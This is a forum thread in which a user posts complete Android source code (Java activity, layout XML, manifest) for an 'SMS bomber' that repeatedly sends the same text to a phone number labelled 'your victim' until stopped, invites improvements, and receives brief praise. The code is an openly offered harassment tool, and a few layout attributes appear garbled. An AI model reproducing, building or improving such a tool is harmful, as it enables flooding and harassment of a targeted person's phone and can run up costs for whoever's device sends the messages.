Post: Android SMS Bomber Source
03-01-2011, 12:31 AM #1
kiwimoosical
Bounty hunter
(adsbygoogle = window.adsbygoogle || []).push({}); This is the source to a ****ty SMS bomber for the Android OS I made Happy
Feel free to improve on it, I'm sick of eclipse, have fun!

MainMethod.java:
    package com.android.testz;

import android.app.Activity;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.telephony.gsm.SmsManager;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

@SuppressWarnings("deprecation")
public class MainMethod extends Activity
{
Button btnSendSMS;
EditText txtPhoneNo;
EditText txtMessage;
static Boolean bombing = false;

@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
btnSendSMS = (Button) findViewById(R.id.btnSendSMS);
txtPhoneNo = (EditText) findViewById(R.id.txtPhoneNo);
txtMessage = (EditText) findViewById(R.id.txtMessage);


btnSendSMS.setOnClickListener(new View.OnClickListener()
{
public void onClick(View v)
{
if(!bombing)
{
String phoneNo = txtPhoneNo.getText().toString();
String message = txtMessage.getText().toString();
if (phoneNo.length()>0 && message.length()>0)
{
Button stop = (Button)findViewById(R.id.btnSendSMS);
stop.setText("Stop bombing");
bombing = true;
SMSbomb(phoneNo, message);
}
else
{
Button stop = (Button)findViewById(R.id.btnSendSMS);
stop.setText("Start bombing");
Toast.makeText(getBaseContext(), "Please enter both phone number and message.", Toast.LENGTH_SHORT).show();
}
}
else
MainMethod.endBombing();
}
});
}
int counter = 1;
@SuppressWarnings("deprecation")
private void SMSbomb(String phoneNumber, String message)
{
while(bombing)
{
String SENT = "SMS_SENT";
String DELIVERED = "SMS_DELIVERED";
PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, new Intent(SENT), 0);
PendingIntent deliveredPI = PendingIntent.getBroadcast(this, 0, new Intent(DELIVERED), 0);
registerReceiver(new BroadcastReceiver(){
@Override
public void onReceive(Context context, Intent intent)
{
switch (getResultCode())
{
case Activity.RESULT_OK:
break;
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
Toast.makeText(getBaseContext(), "Generic failure", Toast.LENGTH_SHORT).show();
MainMethod.endBombing();
break;
case SmsManager.RESULT_ERROR_NO_SERVICE:
Toast.makeText(getBaseContext(), "No service", Toast.LENGTH_SHORT).show();
MainMethod.endBombing();
break;
case SmsManager.RESULT_ERROR_NULL_PDU:
Toast.makeText(getBaseContext(), "Null PDU", Toast.LENGTH_SHORT).show();
MainMethod.endBombing();
break;
case SmsManager.RESULT_ERROR_RADIO_OFF:
Toast.makeText(getBaseContext(), "Radio off", Toast.LENGTH_SHORT).show();
MainMethod.endBombing();
break;
}
}
}, new IntentFilter(SENT));

SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage(phoneNumber, null, message, sentPI, deliveredPI);
Toast.makeText(getBaseContext(), " You have sent " + counter + " messages.", Toast.LENGTH_SHORT).show();
counter++;
}
Toast.makeText(getBaseContext(), "In total, you sent " + counter + " messages.", Toast.LENGTH_LONG).show();
counter = 1;
}

public static void endBombing()
{
bombing = false;
}
}


main.xml:
    <?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="https://schemas.android.com/apk/res/android"
androidGasprientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="Enter the phone number of your victim:"
/>
<EditText
android:id="@+id/txtPhoneNo"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
/>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="Message:"
/>
<EditText
android:id="@+id/txtMessage"
android:layout_width="fill_parent"
android:layout_height="150px"
android:gravity="top"
/>
<Button
android:id="@+id/btnSendSMS"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="Start Bombing"
androidGaspnClick="initBombing"
/>
</LinearLayout>


AndroidManifest.xml:
    <?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="https://schemas.android.com/apk/res/android"
package="com.android.testz"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="7" />

<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".MainMethod"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

</application>
<uses-permission android:name="android.permission.SEND_SMS">
</uses-permission>
</manifest>


MainMethod.java:You must login or register to view this content.
main.xml: You must login or register to view this content.
AndroidManifest.xml: You must login or register to view this content.

If you make any improvements, please PM me them or post here, and don't complain, I know it's ****ty.
.APK file: You must login or register to view this content.
(adsbygoogle = window.adsbygoogle || []).push({});
03-01-2011, 12:33 AM #2
pcfreak30
>> PCFreak30.com Happy<<
Good job dude..
03-01-2011, 12:37 AM #3
kiwimoosical
Bounty hunter
Originally posted by pcfreak30 View Post
Good job dude..


Aww shucks, lol, thanks Happy

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo